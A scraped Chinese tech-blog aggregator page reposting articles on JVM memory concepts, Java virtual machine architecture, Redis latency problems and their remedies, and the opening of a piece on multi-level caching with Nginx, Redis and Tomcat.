Quantcast
Channel: IT瘾技术推荐
Viewing all 330 articles
Browse latest View live

JVM调优总结:一些概念

$
0
0

数据类型

Java虚拟机中,数据类型可以分为两类: 基本类型引用类型。基本类型的变量保存原始值,即:他代表的值就是数值本身;而引用类型的变量保存引用值。“引用值”代表了某个对象的引用,而不是对象本身,对象本身存放在这个引用值所表示的地址的位置。

基本类型包括:byte,short,int,long,char,float,double,Boolean,returnAddress

引用类型包括: 类类型接口类型数组

堆与栈

堆和栈是程序运行的关键,很有必要把他们的关系说清楚。

     栈是运行时的单位,而堆是存储的单位

栈解决程序的运行问题,即程序如何执行,或者说如何处理数据;堆解决的是数据存储的问题,即数据怎么放、放在哪儿。

在Java中一个线程就会相应有一个线程栈与之对应,这点很容易理解,因为不同的线程执行逻辑有所不同,因此需要一个独立的线程栈。而堆则是所有线程共享的。栈因为是运行单位,因此里面存储的信息都是跟当前线程(或程序)相关信息的。包括局部变量、程序运行状态、方法返回值等等;而堆只负责存储对象信息。

    为什么要把堆和栈区分出来呢?栈中不是也可以存储数据吗

第一,从软件设计的角度看,栈代表了处理逻辑,而堆代表了数据。这样分开,使得处理逻辑更为清晰。分而治之的思想。这种隔离、模块化的思想在软件设计的方方面面都有体现。

第二,堆与栈的分离,使得堆中的内容可以被多个栈共享(也可以理解为多个线程访问同一个对象)。这种共享的收益是很多的。一方面这种共享提供了一种有效的数据交互方式(如:共享内存),另一方面,堆中的共享常量和缓存可以被所有栈访问,节省了空间。

第三,栈因为运行时的需要,比如保存系统运行的上下文,需要进行地址段的划分。由于栈只能向上增长,因此就会限制住栈存储内容的能力。而堆不同,堆中的对象是可以根据需要动态增长的,因此栈和堆的拆分,使得动态增长成为可能,相应栈中只需记录堆中的一个地址即可。

第四,面向对象就是堆和栈的完美结合。其实,面向对象方式的程序与以前结构化的程序在执行上没有任何区别。但是,面向对象的引入,使得对待问题的思考方式发生了改变,而更接近于自然方式的思考。当我们把对象拆开,你会发现,对象的属性其实就是数据,存放在堆中;而对象的行为(方法),就是运行逻辑,放在栈中。我们在编写对象的时候,其实即编写了数据结构,也编写的处理数据的逻辑。不得不承认,面向对象的设计,确实很美。

     在Java中,Main函数就是栈的起始点,也是程序的起始点

程序要运行总是有一个起点的。同C语言一样,java中的Main就是那个起点。无论什么java程序,找到main就找到了程序执行的入口:)

     堆中存什么?栈中存什么

堆中存的是对象。栈中存的是基本数据类型和堆中对象的引用。一个对象的大小是不可估计的,或者说是可以动态变化的,但是在栈中,一个对象只对应了一个4btye的引用(堆栈分离的好处:))。

为什么不把基本类型放堆中呢?因为其占用的空间一般是1~8个字节——需要空间比较少,而且因为是基本类型,所以不会出现动态增长的情况——长度固定,因此栈中存储就够了,如果把他存在堆中是没有什么意义的(还会浪费空间,后面说明)。可以这么说,基本类型和对象的引用都是存放在栈中,而且都是几个字节的一个数,因此在程序运行时,他们的处理方式是统一的。但是基本类型、对象引用和对象本身就有所区别了,因为一个是栈中的数据一个是堆中的数据。最常见的一个问题就是,Java中参数传递时的问题。

     Java中的参数传递时传值呢?还是传引用

要说明这个问题,先要明确两点:

1.  不要试图与C进行类比,Java中没有指针的概念

2.  程序运行永远都是在栈中进行的,因而参数传递时,只存在传递基本类型和对象引用的问题。不会直接传对象本身。

明确以上两点后。Java在方法调用传递参数时,因为没有指针,所以 它都是进行传值调用(这点可以参考C的传值调用)。因此,很多书里面都说Java是进行传值调用,这点没有问题,而且也简化的C中复杂性。

但是传引用的错觉是如何造成的呢?在运行栈中,基本类型和引用的处理是一样的,都是传值,所以,如果是传引用的方法调用,也同时可以理解为“传引用值”的传值调用,即引用的处理跟基本类型是完全一样的。但是当进入被调用方法时,被传递的这个引用的值,被程序解释(或者查找)到堆中的对象,这个时候才对应到真正的对象。如果此时进行修改,修改的是引用对应的对象,而不是引用本身,即:修改的是堆中的数据。所以这个修改是可以保持的了。

对象,从某种意义上说,是由基本类型组成的。可以把一个对象看作为一棵树,对象的属性如果还是对象,则还是一颗树(即非叶子节点),基本类型则为树的叶子节点。程序参数传递时,被传递的值本身都是不能进行修改的,但是,如果这个值是一个非叶子节点(即一个对象引用),则可以修改这个节点下面的所有内容。

堆和栈中,栈是程序运行最根本的东西。程序运行可以没有堆,但是不能没有栈。而堆是为栈进行数据存储服务,说白了堆就是一块共享的内存。不过,正是因为堆和栈的分离的思想,才使得Java的垃圾回收成为可能。

Java中,栈的大小通过-Xss来设置,当栈中存储数据比较多时,需要适当调大这个值,否则会出现java.lang.StackOverflowError异常。常见的出现这个异常的是无法返回的递归,因为此时栈中保存的信息都是方法返回的记录点。

Java对象的大小

基本数据的类型的大小是固定的,这里就不多说了。对于非基本类型的Java对象,其大小就值得商榷。

在Java中, 一个空Object对象的大小是8byte,这个大小只是保存堆中一个没有任何属性的对象的大小。看下面语句:

Object ob = new Object();

这样在程序中完成了一个Java对象的生命,但是它所占的空间为: 4byte+8byte。4byte是上面部分所说的Java栈中保存引用的所需要的空间。而那8byte则是Java堆中对象的信息。因为所有的Java非基本类型的对象都需要默认继承Object对象,因此不论什么样的Java对象,其大小都必须是大于8byte。

有了Object对象的大小,我们就可以计算其他对象的大小了。

Class NewObject {
    int count;
    boolean flag;
    Object ob;
}

其大小为:空对象大小(8byte)+int大小(4byte)+Boolean大小(1byte)+空Object引用的大小(4byte)=17byte。但是因为Java在对对象内存分配时都是以8的整数倍来分,因此大于17byte的最接近8的整数倍的是24,因此此对象的大小为24byte。

这里需要注意一下 基本类型的包装类型的大小。因为这种包装类型已经成为对象了,因此需要把他们作为对象来看待。包装类型的大小至少是12byte(声明一个空Object至少需要的空间),而且12byte没有包含任何有效信息,同时,因为Java对象大小是8的整数倍,因此 一个基本类型包装类的大小至少是16byte。这个内存占用是很恐怖的,它是使用基本类型的N倍(N>2),有些类型的内存占用更是夸张(随便想下就知道了)。因此,可能的话应尽量少使用包装类。在JDK5.0以后,因为加入了自动类型装换,因此,Java虚拟机会在存储方面进行相应的优化。

引用类型

对象引用类型分为 强引用、软引用、弱引用和虚引用

强引用:就是我们一般声明对象是时虚拟机生成的引用,强引用环境下,垃圾回收时需要严格判断当前对象是否被强引用,如果被强引用,则不会被垃圾回收

软引用:软引用一般被做为缓存来使用。与强引用的区别是,软引用在垃圾回收时,虚拟机会根据当前系统的剩余内存来决定是否对软引用进行回收。如果剩余内存比较紧张,则虚拟机会回收软引用所引用的空间;如果剩余内存相对富裕,则不会进行回收。换句话说,虚拟机在发生OutOfMemory时,肯定是没有软引用存在的。

弱引用:弱引用与软引用类似,都是作为缓存来使用。但与软引用不同,弱引用在进行垃圾回收时,是一定会被回收掉的,因此其生命周期只存在于一个垃圾回收周期内。

强引用不用说,我们系统一般在使用时都是用的强引用。而“软引用”和“弱引用”比较少见。他们一般被作为缓存使用,而且一般是在内存大小比较受限的情况下做为缓存。因为如果内存足够大的话,可以直接使用强引用作为缓存即可,同时可控性更高。因而,他们常见的是被使用在桌面应用系统的缓存。

相关文章


理解Java虚拟机体系结构

$
0
0

1 概述

众所周知,Java支持平台无关性、安全性和网络移动性。而Java平台由Java虚拟机和Java核心类所构成,它为纯Java程序提供了统一的编程接口,而不管下层操作系统是什么。正是得益于Java虚拟机,它号称的“一次编译,到处运行”才能有所保障。

1.1 Java程序执行流程

Java程序的执行依赖于编译环境和运行环境。源码代码转变成可执行的机器代码,由下面的流程完成:

Java技术的核心就是Java虚拟机,因为所有的Java程序都在虚拟机上运行。Java程序的运行需要Java虚拟机、Java API和Java Class文件的配合。Java虚拟机实例负责运行一个Java程序。当启动一个Java程序时,一个虚拟机实例就诞生了。当程序结束,这个虚拟机实例也就消亡。

Java的跨平台特性,因为它有针对不同平台的虚拟机。

1.2 Java虚拟机

Java虚拟机的主要任务是装载class文件并且执行其中的字节码。由下图可以看出,Java虚拟机包含一个类装载器(class loader),它可以从程序和API中装载class文件,Java API中只有程序执行时需要的类才会被装载,字节码由执行引擎来执行。

当Java虚拟机由主机操作系统上的软件实现时,Java程序通过调用本地方法和主机进行交互。Java方法由Java语言编写,编译成字节码,存储在class文件中。本地方法由C/C++/汇编语言编写,编译成和处理器相关的机器代码,存储在动态链接库中,格式是各个平台专有。所以本地方法是联系Java程序和底层主机操作系统的连接方式。

由于Java虚拟机并不知道某个class文件是如何被创建的,是否被篡改一无所知,所以它实现了一个class文件检测器,确保class文件中定义的类型可以安全地使用。class文件检验器通过四趟独立的扫描来保证程序的健壮性:

  • class文件的结构检查
  • 类型数据的语义检查
  • 字节码验证
  • 符号引用验证

Java虚拟机在执行字节码时还进行其它的一些内置的安全机制的操作,他们作为Java编程语言保证Java程序健壮性的特性,同时也是Java虚拟机的特性:

  • 类型安全的引用转换
  • 结构化的内存访问
  • 自动垃圾收集
  • 数组边界检查
  • 空引用检查

1.3 Java虚拟机数据类型

Java虚拟机通过某些数据类型来执行计算。数据类型可以分为两种:基本类型和引用类型,如下图:

但boolean有点特别,当编译器把Java源码编译为字节码时,它会用int或byte表示boolean。在Java虚拟机中,false是由0表示,而true则由所有非零整数表示。和Java语言一样,Java虚拟机的基本类型的值域在任何地方都是一致的,不管主机平台是什么,一个long在任何虚拟机中总是一个64位二进制补码的有符号整数。

对于returnAddress,这个基本类型被用来实现Java程序中的finally子句,Java程序员不能使用这个类型,它的值指向一条虚拟机指令的操作码。

2 体系结构

在 Java虚拟机规范中,一个虚拟机实例的行为是分别按照子系统、内存区、数据类型和指令来描述的,这些组成部分一起展示了抽象的虚拟机的内部体系结构。

2.1 class文件

Java class文件包含了关于类或接口的所有信息。class文件的“基本类型”如下:

u11个字节,无符号类型
u22个字节,无符号类型
u44个字节,无符号类型
u88个字节,无符号类型

如果想了解更多,Oracle的JVM SE7给出了官方规范: The Java® Virtual Machine Specification

class文件包含的内容:

ClassFile {

    u4 magic;                                     //魔数:0xCAFEBABE,用来判断是否是Java class文件
    u2 minor_version;                             //次版本号
    u2 major_version;                             //主版本号
    u2 constant_pool_count;                       //常量池大小
    cp_info constant_pool[constant_pool_count-1]; //常量池
    u2 access_flags;                              //类和接口层次的访问标志(通过|运算得到)
    u2 this_class;                                //类索引(指向常量池中的类常量)
    u2 super_class;                               //父类索引(指向常量池中的类常量)
    u2 interfaces_count;                          //接口索引计数器
    u2 interfaces[interfaces_count];              //接口索引集合
    u2 fields_count;                              //字段数量计数器
    field_info fields[fields_count];              //字段表集合
    u2 methods_count;                             //方法数量计数器
    method_info methods[methods_count];           //方法表集合
    u2 attributes_count;                          //属性个数
    attribute_info attributes[attributes_count];  //属性表

}

2.2 类装载器子系统

类装载器子系统负责查找并装载类型信息。其实Java虚拟机有两种类装载器:系统装载器和用户自定义装载器。前者是Java虚拟机实现的一部分,后者则是Java程序的一部分。

  • 启动类装载器(bootstrap class loader):它用来加载 Java 的核心库,是用原生代码来实现的,并不继承自java.lang.ClassLoader。
  • 扩展类装载器(extensions class loader):它用来加载 Java 的扩展库。Java 虚拟机的实现会提供一个扩展库目录。该类加载器在此目录里面查找并加载 Java 类。
  • 应用程序类装载器(application class loader):它根据 Java 应用的类路径(CLASSPATH)来加载 Java 类。一般来说,Java 应用的类都是由它来完成加载的。可以通过 ClassLoader.getSystemClassLoader()来获取它。

除了系统提供的类装载器以外,开发人员可以通过继承 java.lang.ClassLoader类的方式实现自己的类装载器,以满足一些特殊的需求。

类装载器子系统涉及Java虚拟机的其它几个组成部分以及来自java.lang库的类。ClassLoader定义的方法为程序提供了访问类装载器机制的接口。此外,对于每一个被装载的类型,Java虚拟机都会为它创建一个java.lang.Class类的实例来代表该类型。和其它对象一样,用户自定义的类装载器以及Class类的实例放在内存中的堆区,而装载的类型信息则位于方法区。

类装载器子系统除了要定位和导入二进制class文件外,还必须负责验证被导入类的正确性,为类变量分配并初始化内存,以及解析符号引用。这些动作还需要按照以下顺序进行:

  • 装载(查找并装载类型的二进制数据)
  • 连接(执行验证:确保被导入类型的正确性;准备:为类变量分配内存,并将其初始化为默认值;解析:把类型中的符号引用转换为直接引用)
  • 初始化(类变量初始化为正确初始值)

2.3 方法区

在Java虚拟机中,关于被装载的类型信息存储在一个方法区的内存中。当虚拟机装载某个类型时,它使用类装载器定位相应的class文件,然后读入这个class文件并将它传输到虚拟机中,接着虚拟机提取其中的类型信息,并将这些信息存储到方法区。方法区也可以被垃圾回收器收集,因为虚拟机允许通过用户定义的类装载器来动态扩展Java程序。

方法区中存放了以下信息:

  • 这个类型的全限定名(如全限定名java.lang.Object)
  • 这个类型的直接超类的全限定名
  • 这个类型是类类型还是接口类型
  • 这个类型的访问修饰符(public, abstract, final的某个子集)
  • 任何直接超接口的全限定名的有序列表
  • 该类型的常量池(一个有序集合,包括直接常量[string, integer和floating point常量]和对其它类型、字段和方法的符号引用)
  • 字段信息(字段名、类型、修饰符)
  • 方法信息(方法名、返回类型、参数数量和类型、修饰符)
  • 除了常量以外的所有类(静态)变量
  • 指向ClassLoader类的引用(每个类型被装载时,虚拟机必须跟踪它是由启动类装载器还是由用户自定义类装载器装载的)
  • 指向Class类的引用(对于每一个被装载的类型,虚拟机相应地为它创建一个java.lang.Class类的实例。比如你有一个到java.lang.Integer类的对象的引用,那么只需要调用Integer对象引用的getClass()方法,就可以得到表示java.lang.Integer类的Class对象)

2.4 堆

Java程序在运行时创建的所有类实例或数组(数组在Java虚拟机中是一个真正的对象)都放在同一个堆中。由于Java虚拟机实例只有一个堆空间,所以所有线程都将共享这个堆。需要注意的是,Java虚拟机有一条在堆中分配对象的指令,却没有释放内存的指令,因为虚拟机把这个任务交给垃圾收集器处理。Java虚拟机规范并没有强制规定垃圾收集器,它只要求虚拟机实现必须“以某种方式”管理自己的堆空间。比如某个实现可能只有固定大小的堆空间,当空间填满,它就简单抛出OutOfMemory异常,根本不考虑回收垃圾对象的问题,但却是符合规范的。

Java虚拟机规范并没有规定Java对象在堆中如何表示,这给虚拟机的实现者决定怎么设计。一个可能的堆设计如下:

一个句柄池,一个对象池。一个对象的引用就是一个指向句柄池的本地指针。这种设计的好处有利于堆碎片的整理,当移动对象池中的对象时,句柄部分只需更改一下指针指向对象的新地址即可。缺点是每次访问对象的实例变量都要经过两次指针传递。

2.5 Java栈

每当启动给一个线程时,Java虚拟机会为它分配一个Java栈。Java栈由许多栈帧组成,一个栈帧包含一个Java方法调用的状态。当线程调用一个Java方法时,虚拟机压入一个新的栈帧到该线程的Java栈中,当该方法返回时,这个栈帧就从Java栈中弹出。Java栈存储线程中Java方法调用的状态–包括局部变量、参数、返回值以及运算的中间结果等。Java虚拟机没有寄存器,其指令集使用Java栈来存储中间数据。这样设计的原因是为了保持Java虚拟机的指令集尽量紧凑,同时也便于Java虚拟机在只有很少通用寄存器的平台上实现。另外,基于栈的体系结构,也有助于运行时某些虚拟机实现的动态编译器和即时编译器的代码优化。

2.5.1 栈帧

栈帧由局部变量区、操作数栈和帧数据区组成。当虚拟机调用一个Java方法时,它从对应类的类型信息中得到此方法的局部变量区和操作数栈的大小,并根据此分配栈帧内存,然后压入Java栈中。

2.5.1.1 局部变量区

局部变量区被组织为以字长为单位、从0开始计数的数组。字节码指令通过从0开始的索引使用其中的数据。类型为int, float, reference和returnAddress的值在数组中占据一项,而类型为byte, short和char的值在存入数组前都被转换为int值,也占据一项。但类型为long和double的值在数组中却占据连续的两项。

2.5.1.2 操作数栈

和局部变量区一样,操作数栈也是被组织成一个以字长为单位的数组。它通过标准的栈操作访问–压栈和出栈。由于程序计数器无法被程序指令直接访问,Java虚拟机的指令是从操作数栈中取得操作数,所以它的运行方式是基于栈而不是基于寄存器。虚拟机把操作数栈作为它的工作区,因为大多数指令都要从这里弹出数据,执行运算,然后把结果压回操作数栈。

2.5.1.3 帧数据区

除了局部变量区和操作数栈,Java栈帧还需要帧数据区来支持常量池解析、正常方法返回以及异常派发机制。每当虚拟机要执行某个需要用到常量池数据的指令时,它会通过帧数据区中指向常量池的指针来访问它。除了常量池的解析外,帧数据区还要帮助虚拟机处理Java方法的正常结束或异常中止。如果通过return正常结束,虚拟机必须恢复发起调用的方法的栈帧,包括设置程序计数器指向发起调用方法的下一个指令;如果方法有返回值,虚拟机需要将它压入到发起调用的方法的操作数栈。为了处理Java方法执行期间的异常退出情况,帧数据区还保存一个对此方法异常表的引用。

2.6 程序计数器

对于一个运行中的Java程序而言,每一个线程都有它的程序计数器。程序计数器也叫PC寄存器。程序计数器既能持有一个本地指针,也能持有一个returnAddress。当线程执行某个Java方法时,程序计数器的值总是下一条被执行指令的地址。这里的地址可以是一个本地指针,也可以是方法字节码中相对该方法起始指令的偏移量。如果该线程正在执行一个本地方法,那么此时程序计数器的值是“undefined”。

2.7 本地方法栈

任何本地方法接口都会使用某种本地方法栈。当线程调用Java方法时,虚拟机会创建一个新的栈帧并压入Java栈。当它调用的是本地方法时,虚拟机会保持Java栈不变,不再在线程的Java栈中压入新的栈,虚拟机只是简单地动态连接并直接调用指定的本地方法。

其中方法区和堆由该虚拟机实例中所有线程共享。当虚拟机装载一个class文件时,它会从这个class文件包含的二进制数据中解析类型信息,然后把这些类型信息放到方法区。当程序运行时,虚拟机会把所有该程序在运行时创建的对象放到堆中。

像其它运行时内存区一样,本地方法栈占用的内存区可以根据需要动态扩展或收缩。

3 执行引擎

在Java虚拟机规范中,执行引擎的行为使用指令集定义。实现执行引擎的设计者将决定如何执行字节码,实现可以采取解释、即时编译或直接使用芯片上的指令执行,还可以是它们的混合。

执行引擎可以理解成一个抽象的规范、一个具体的实现或一个正在运行的实例。抽象规范使用指令集规定了执行引擎的行为。具体实现可能使用多种不同的技术–包括软件方面、硬件方面或树种技术的结合。作为运行时实例的执行引擎就是一个线程。

运行中Java程序的每一个线程都是一个独立的虚拟机执行引擎的实例。从线程生命周期的开始到结束,它要么在执行字节码,要么执行本地方法。

3.1 指令集

方法的字节码流由Java虚拟机的指令序列构成。每一条指令包含一个单字节的操作码,后面跟随0个或多个操作数。操作码表示需要执行的操作;操作数向Java虚拟机提供执行操作码需要的额外信息。当虚拟机执行一条指令时,可能使用当前常量池中的项、当前帧的局部变量中的值或者位于当前帧操作数栈顶端的值。

抽象的执行引擎每次执行一条字节码指令。Java虚拟机中运行的程序的每个线程(执行引擎实例)都执行这个操作。执行引擎取得操作码,如果操作码有操作数,就取得它的操作数。它执行操作码和跟随的操作数规定的动作,然后再取得下一个操作码。这个执行字节码的过程在线程完成前将一直持续,通过从它的初始方法返回,或者没有捕获抛出的异常都可以标志着线程的完成。

4 本地方法接口

Java本地接口,也叫JNI(Java Native Interface),是为可移植性准备的。本地方法接口允许本地方法完成以下工作:

  • 传递或返回数据
  • 操作实例变量
  • 操作类变量或调用类方法
  • 操作数组
  • 对堆的对象加锁
  • 装载新的类
  • 抛出异常
  • 捕获本地方法调用Java方法抛出的异常
  • 捕获虚拟机抛出的异步异常
  • 指示垃圾收集器某个对象不再需要

参考:

《深入Java虚拟机》

相关文章

Redis时延问题分析及应对

$
0
0

Redis时延问题分析及应对

Redis的事件循环在一个线程中处理,作为一个单线程程序,重要的是要保证事件处理的时延短,这样,事件循环中的后续任务才不会阻塞;
当redis的数据量达到一定级别后(比如20G),阻塞操作对性能的影响尤为严重;
下面我们总结下在redis中有哪些耗时的场景及应对方法;

耗时长的命令造成阻塞

keys、sort等命令

keys命令用于查找所有符合给定模式 pattern 的 key,时间复杂度为O(N), N 为数据库中 key 的数量。当数据库中的个数达到千万时,这个命令会造成读写线程阻塞数秒;
类似的命令有sunion sort等操作;
如果业务需求中一定要使用keys、sort等操作怎么办?

解决方案:
image

在架构设计中,有“分流”一招,说的是将处理快的请求和处理慢的请求分离来开,否则,慢的影响到了快的,让快的也快不起来;这在redis的设计中体现的非常明显,redis的纯内存操作,epoll非阻塞IO事件处理,这些快的放在一个线程中搞定,而持久化,AOF重写、Master-slave同步数据这些耗时的操作就单开一个进程来处理,不要慢的影响到快的;
同样,既然需要使用keys这些耗时的操作,那么我们就将它们剥离出去,比如单开一个redis slave结点,专门用于keys、sort等耗时的操作,这些查询一般不会是线上的实时业务,查询慢点就慢点,主要是能完成任务,而对于线上的耗时快的任务没有影响;

smembers命令

smembers命令用于获取集合全集,时间复杂度为O(N),N为集合中的数量;
如果一个集合中保存了千万量级的数据,一次取回也会造成事件处理线程的长时间阻塞;

解决方案:
和sort,keys等命令不一样,smembers可能是线上实时应用场景中使用频率非常高的一个命令,这里分流一招并不适合,我们更多的需要从设计层面来考虑;
在设计时,我们可以控制集合的数量,将集合数一般保持在500个以内;
比如原来使用一个键来存储一年的记录,数据量大,我们可以使用12个键来分别保存12个月的记录,或者365个键来保存每一天的记录,将集合的规模控制在可接受的范围;

如果不容易将集合划分为多个子集合,而坚持用一个大集合来存储,那么在取集合的时候可以考虑使用SRANDMEMBER key [count];随机返回集合中的指定数量,当然,如果要遍历集合中的所有元素,这个命令就不适合了;

save命令

save命令使用事件处理线程进行数据的持久化;当数据量大的时候,会造成线程长时间阻塞(我们的生产上,reids内存中1个G保存需要12s左右),整个redis被block;
save阻塞了事件处理的线程,我们甚至无法使用redis-cli查看当前的系统状态,造成“何时保存结束,目前保存了多少”这样的信息都无从得知;

解决方案:
我没有想到需要用到save命令的场景,任何时候需要持久化的时候使用bgsave都是合理的选择(当然,这个命令也会带来问题,后面聊到);

fork产生的阻塞

在redis需要执行耗时的操作时,会新建一个进程来做,比如数据持久化bgsave:
开启RDB持久化后,当达到持久化的阈值,redis会fork一个新的进程来做持久化,采用了操作系统的copy-on-wirte写时复制策略,子进程与父进程共享Page。如果父进程的Page(每页4K)有修改,父进程自己创建那个Page的副本,不会影响到子进程;
fork新进程时,虽然可共享的数据内容不需要复制,但会复制之前进程空间的内存页表,如果内存空间有40G(考虑每个页表条目消耗 8 个字节),那么页表大小就有80M,这个复制是需要时间的,如果使用虚拟机,特别是Xen虚拟服务器,耗时会更长;
在我们有的服务器结点上测试,35G的数据bgsave瞬间会阻塞200ms以上;

类似的,以下这些操作都有进程fork;

  • Master向slave首次同步数据:当master结点收到slave结点来的syn同步请求,会生成一个新的进程,将内存数据dump到文件上,然后再同步到slave结点中;
  • AOF日志重写:使用AOF持久化方式,做AOF文件重写操作会创建新的进程做重写;(重写并不会去读已有的文件,而是直接使用内存中的数据写成归档日志);

解决方案:
为了应对大内存页表复制时带来的影响,有些可用的措施:

  1. 控制每个redis实例的最大内存量;
    不让fork带来的限制太多,可以从内存量上控制fork的时延;
    一般建议不超过20G,可根据自己服务器的性能来确定(内存越大,持久化的时间越长,复制页表的时间越长,对事件循环的阻塞就延长)
    新浪微博给的建议是不超过20G,而我们虚机上的测试,要想保证应用毛刺不明显,可能得在10G以下;
  2. 使用大内存页,默认内存页使用4KB,这样,当使用40G的内存时,页表就有80M;而将每个内存页扩大到4M,页表就只有80K;这样复制页表几乎没有阻塞,同时也会提高快速页表缓冲TLB(translation lookaside buffer)的命中率;但大内存页也有问题,在写时复制时,只要一个页快中任何一个元素被修改,这个页块都需要复制一份(COW机制的粒度是页面),这样在写时复制期间,会耗用更多的内存空间;
  3. 使用物理机;
    如果有的选,物理机当然是最佳方案,比上面都要省事;
    当然,虚拟化实现也有多种,除了Xen系统外,现代的硬件大部分都可以快速的复制页表;
    但公司的虚拟化一般是成套上线的,不会因为我们个别服务器的原因而变更,如果面对的只有Xen,只能想想如何用好它;
  4. 杜绝新进程的产生,不使用持久化,不在主结点上提供查询;实现起来有以下方案:
    1)只用单机,不开持久化,不挂slave结点。这样最简单,不会有新进程的产生;但这样的方案只适合缓存;
    如何来做这个方案的高可用?
    要做高可用,可以在写redis的前端挂上一个消息队列,在消息队列中使用pub-sub来做分发,保证每个写操作至少落到2个结点上;因为所有结点的数据相同,只需要用一个结点做持久化,这个结点对外不提供查询;

    image

    2) master-slave:在主结点上开持久化,主结点不对外提供查询,查询由slave结点提供,从结点不提供持久化;这样,所有的fork耗时的操作都在主结点上,而查询请求由slave结点提供;
    这个方案的问题是主结点坏了之后如何处理?
    简单的实现方案是主不具有可替代性,坏了之后,redis集群对外就只能提供读,而无法更新;待主结点启动后,再继续更新操作;对于之前的更新操作,可以用MQ缓存起来,等主结点起来之后消化掉故障期间的写请求;

    image

    如果使用官方的Sentinel将从升级为主,整体实现就相对复杂了;需要更改可用从的ip配置,将其从可查询结点中剔除,让前端的查询负载不再落在新主上;然后,才能放开sentinel的切换操作,这个前后关系需要保证;

持久化造成的阻塞

执行持久化(AOF / RDB snapshot)对系统性能有较大影响,特别是服务器结点上还有其它读写磁盘的操作时(比如,应用服务和redis服务部署在相同结点上,应用服务实时记录进出报日志);应尽可能避免在IO已经繁重的结点上开Redis持久化;

子进程持久化时,子进程的write和主进程的fsync冲突造成阻塞

在开启了AOF持久化的结点上,当子进程执行AOF重写或者RDB持久化时,出现了Redis查询卡顿甚至长时间阻塞的问题, 此时, Redis无法提供任何读写操作;

原因分析:
Redis 服务设置了 appendfsync everysec, 主进程每秒钟便会调用 fsync(), 要求内核将数据”确实”写到存储硬件里. 但由于服务器正在进行大量IO操作, 导致主进程 fsync()/操作被阻塞, 最终导致 Redis 主进程阻塞.

redis.conf中是这么说的:
When the AOF fsync policy is set to always or everysec, and a background
saving process (a background save or AOF log background rewriting) is
performing a lot of I/O against the disk, in some Linux configurations
Redis may block too long on the fsync() call. Note that there is no fix for
this currently, as even performing fsync in a different thread will block
our synchronous write(2) call.
当执行AOF重写时会有大量IO,这在某些Linux配置下会造成主进程fsync阻塞;

解决方案:
设置 no-appendfsync-on-rewrite yes, 在子进程执行AOF重写时, 主进程不调用fsync()操作;注意, 即使进程不调用 fsync(), 系统内核也会根据自己的算法在适当的时机将数据写到硬盘(Linux 默认最长不超过 30 秒).
这个设置带来的问题是当出现故障时,最长可能丢失超过30秒的数据,而不再是1秒;

子进程AOF重写时,系统的sync造成主进程的write阻塞

我们来梳理下:
1) 起因:有大量IO操作write(2) 但未主动调用同步操作
2) 造成kernel buffer中有大量脏数据
3) 系统同步时,sync的同步时间过长
4) 造成redis的写aof日志write(2)操作阻塞;
5) 造成单线程的redis的下一个事件无法处理,整个redis阻塞(redis的事件处理是在一个线程中进行,其中写aof日志的write(2)是同步阻塞模式调用,与网络的非阻塞write(2)要区分开来)

产生1)的原因:这是redis2.6.12之前的问题,AOF rewrite时一直埋头的调用write(2),由系统自己去触发sync。
另外的原因:系统IO繁忙,比如有别的应用在写盘;

解决方案:
控制系统sync调用的时间;需要同步的数据多时,耗时就长;缩小这个耗时,控制每次同步的数据量;通过配置按比例(vm.dirty_background_ratio)或按值(vm.dirty_bytes)设置sync的调用阈值;(一般设置为32M同步一次)
2.6.12以后,AOF rewrite 32M时会主动调用fdatasync;

另外,Redis当发现当前正在写的文件有在执行fdatasync(2)时,就先不调用write(2),只存在cache里,免得被block。但如果已经超过两秒都还是这个样子,则会强行执行write(2),即使redis会被block住。

AOF重写完成后合并数据时造成的阻塞

在bgrewriteaof过程中,所有新来的写入请求依然会被写入旧的AOF文件,同时放到AOF buffer中,当rewrite完成后,会在主线程把这部分内容合并到临时文件中之后才rename成新的AOF文件,所以rewrite过程中会不断打印”Background AOF buffer size: 80 MB, Background AOF buffer size: 180 MB”,要监控这部分的日志。这个合并的过程是阻塞的,如果产生了280MB的buffer,在100MB/s的传统硬盘上,Redis就要阻塞2.8秒;

解决方案:
将硬盘设置的足够大,将AOF重写的阈值调高,保证高峰期间不会触发重写操作;在闲时使用crontab 调用AOF重写命令;

参考:
http://www.oschina.net/translate/redis-latency-problems-troubleshooting
https://github.com/springside/springside4/wiki/redis

 

Redis时延问题分析及应对,首发于 博客 - 伯乐在线

应用多级缓存模式支撑海量读服务

$
0
0

缓存技术是一个老生常谈的问题,但是它也是解决性能问题的利器,一把瑞士军刀;而且在各种面试过程中或多或少会被问及一些缓存相关的问题,如缓存算法、热点数据与更新缓存、更新缓存与原子性、缓存崩溃与快速恢复等各种与缓存相关的问题。而这些问题中有些问题又是与场景相关,因此如何合理应用缓存来解决问题也是一个选择题。本文所有内容是跟读服务缓存相关,不会涉及写服务数据的缓存。本文也不考虑内容型应用前置的CDN架构。本文也不会涉及缓存数据结构优化、缓存空间利用率跟业务数据相关的细节问题,主要从架构和提升命中率等层面来探讨缓存方案。本文将基于多级缓存模式来介绍下应用缓存时需要注意的问题和一些解决方案,其中一些方案已经实现,而有一些也是想使用来解决痛点问题。

1、多级缓存介绍

所谓多级缓存,即在整个系统架构的不同系统层级进行数据缓存,以提升访问效率,这也是应用最广的方案之一。我们应用的整体架构如下图所示:

整体流程如上图所示:

1、首先接入Nginx将请求负载均衡到应用Nginx,此处常用的负载均衡算法是轮询或者一致性哈希,轮询可以使服务器的请求更加均衡,而一致性哈希可以提升应用Nginx的缓存命中率;后续负载均衡和缓存算法部分我们再细聊;

2、接着应用Nginx读取本地缓存(本地缓存可以使用Lua Shared Dict、Nginx Proxy Cache(磁盘/内存)、Local Redis实现),如果本地缓存命中则直接返回,使用应用Nginx本地缓存可以提升整体的吞吐量,降低后端的压力,尤其应对热点问题非常有效;为什么要使用应用Nginx本地缓存我们将在热点数据与缓存失效部分细聊;

3、如果Nginx本地缓存没命中,则会读取相应的分布式缓存(如Redis缓存,另外可以考虑使用主从架构来提升性能和吞吐量),如果分布式缓存命中则直接返回相应数据(并回写到Nginx本地缓存);

4、如果分布式缓存也没有命中,则会回源到Tomcat集群,在回源到Tomcat集群时也可以使用轮询和一致性哈希作为负载均衡算法;

5、在Tomcat应用中,首先读取本地堆缓存,如果有则直接返回(并会写到主Redis集群),为什么要加一层本地堆缓存将在缓存崩溃与快速修复部分细聊;

6、作为可选部分,如果步骤4没有命中可以再尝试一次读主Redis集群操作,目的是防止当从有问题时的流量冲击;

7、如果所有缓存都没有命中只能查询DB或相关服务获取相关数据并返回;

